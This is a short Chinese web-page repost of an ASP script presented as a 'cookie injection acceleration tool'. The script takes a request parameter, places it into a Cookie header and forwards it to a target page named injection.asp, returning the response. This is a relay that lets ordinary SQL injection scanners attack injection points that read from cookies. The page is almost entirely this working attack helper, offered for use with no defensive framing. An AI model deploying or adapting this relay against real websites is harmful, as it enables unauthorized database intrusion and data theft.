ASP版实现cookies注入加速工具

软件发布|下载排行|最新软件

当前位置:首页IT学院IT技术

ASP版实现cookies注入加速工具

  2021-03-17 我要评论
想了解ASP版实现cookies注入加速工具的相关内容吗,在本文为您仔细讲解的相关知识和一些Code实例,欢迎阅读和指正,我们先划重点:ASP,cookies,注入,加速,工具,下面大家一起来学习吧。
来源:职业欠钱&zj1244共用的public Blog


复制代码 代码如下:

<% 
Str="xxxid="&escape(request("FK")) 
Url="http://xxx.chinaxxx.com/injection.asp" 
response.write PostData(Url,Str) 

Function PostData(PostUrl,PostCok)  
Dim Http 
Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 
With Http 

.Open "GET",PostUrl,False 
.SetRequestHeader "Cookie",PostCok 
.Send 
PostData = .ResponseBody 
End With 
Set Http = Nothing 
PostData =bytes2BSTR(PostData) 
End Function 

Function bytes2BSTR(vIn) 
Dim strReturn 
Dim I, ThisCharCode, NextCharCode 
strReturn = "" 
For I = 1 To LenB(vIn) 
ThisCharCode = AscB(MidB(vIn, I, 1)) 
If ThisCharCode < &H80 Then 
strReturn = strReturn & Chr(ThisCharCode) 
Else 
NextCharCode = AscB(MidB(vIn, I + 1, 1)) 
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 
I = I + 1 
End If 
Next 
bytes2BSTR = strReturn 
End Function 

%>

Copyright 2022 版权所有 软件发布 访问手机版

声明:所有软件和文章来自软件开发商或者作者 如有异议 请与本站联系 联系我们